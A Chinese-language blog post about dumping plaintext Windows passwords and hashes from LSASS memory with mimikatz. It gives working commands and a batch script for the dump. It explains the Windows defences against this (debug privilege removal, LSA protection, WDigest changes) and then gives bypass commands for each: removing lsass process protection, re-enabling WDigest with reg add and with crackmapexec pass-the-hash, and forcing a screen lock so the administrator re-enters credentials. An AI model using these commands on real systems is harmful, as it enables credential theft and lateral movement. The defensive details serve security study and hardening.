mimikatz抓取明文密码
ssooking Lv5

mimikatz基本使用

下载:Mimikatz

注意:mimikatz需要以管理员权限运行

1、交互模式抓取明文密码

1
2
privilege::debug
sekurlsa::logonpasswords

2、更方便的mimikatz命令

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full"

3、输出日志

执行以下命令除了回显,还可以dump结果并将hash保存为log日志文件:

1
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit

3、bat脚本

1
2
@echo off
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit > C:\programdata\log.txt

防护机制

Windows中存在一些安全策略或机制来防止像mimikatz 或WCE等工具直接抓取明文密码。

移除DEBUG权限

调试权限是一种安全策略设置,允许用户将调试器附加到进程或内核。绝大数抓取密码工具都需要获取调试权限,该权限可以在用户权限分配组策略在看到。默认情况下,管理员帐户具有此权限。如果移除了debug权限,则此类工具则会工作异常。

image-20210723144737292

在没有debug权限的情况下:

image-20210723153235364

LSA保护

LSA包含本地安全性授权子系统服务 (LSASS) 进程,可验证用户的本地和远程登录。 微软从Windows 8.1 和Windows Server 2012开始为LSA提供附加保护,LSASS可以配置为在保护模式下运行,受保护的进程必须满足一些条件才能访问lsass.exe进程,主要通过签名验证,从而避免了相关工具抓取密码。

开启保护的方法是配置方法为修改注册表项RunAsPPL,将键值设置为"dword:00000001

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL

在开启LSA保护的情况下,此时无法从LSASS进程中转储凭据,报错示例:

1
2
3
4
5
6
7
mimikatz # sekurlsa::msv
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonPasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

绕过方法是删除lsass进程上的保护:

1
2
3
mimikatz# !+
mimikatz# !processprotect /process:lsass.exe /remove
mimikatz# sekurlsa::logonpasswords

禁止Wdigest Auth缓存明文密码

Microsoft发布了一个补丁KB2871997,安装此补丁后,允许用户在注册表中配置一个设置(高版本已默认配置)禁用 WDigest 身份验证,从而防止将明文密码存储在内存中。此时mimikatz用抓取时密码字段会显示为null,如下:

1
2
3
4
5
6
7
8
9
10
11
SID : S-1-5-21-1611409294-1731084229-990987755-1000
wdigest :
* Username : ssooking
* Domain : SSOOKING34EC
* Password : (null)
kerberos :
* Username : ssooking
* Domain : SSOOKING34EC
* Password : (null)
ssp :
credman :

绕过方法是开启WDigest身份验证,使用户重新登录,从而是内存中重新存储明文密码。修改注册表键值(也可以使用其他相关工具):

1
2
3
4
5
6
7
8
# reg
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

#mimikatz
sekurlsa::wdigest

# cme
cme smb 17.10.0.10 -u administrator -H <hash> --wdigest enable

在开启 Wdigest Auth 后,需要重启或者强制锁屏,让管理员重新登录。锁屏命令:

1
2
3
4
5
rundll32 user32.dll,LockWorkStation

#如果等待,也可以强制登录让其下线迫使其输入密码
cme smb 17.10.0.10 -u administrator -p -H <hash> -x quser
cme smb 17.10.0.10 -u administrator -p -H <hash> -m mimikatz.py -x quser

其他会缓存密码的情况:

  • 当域控制器 (DC) 不可访问时,Kerberos 将保留密码以供将来登录尝试。
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest,UseLogonCredential (DWORD)设置为1 时,WDigest 将保留凭据。
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults设置为allow 时,凭据安全支持提供程序 (CredSSP) 将保留凭据
  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation设置为allow 时,CredSSP/tspkgs 将保留凭据。

参考

  • Post title:mimikatz抓取明文密码
  • Post author:ssooking
  • Create time:2020-07-17 16:01:00
  • Post link:https://ssooking.github.io/2020/07/mimikatz抓取明文密码/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.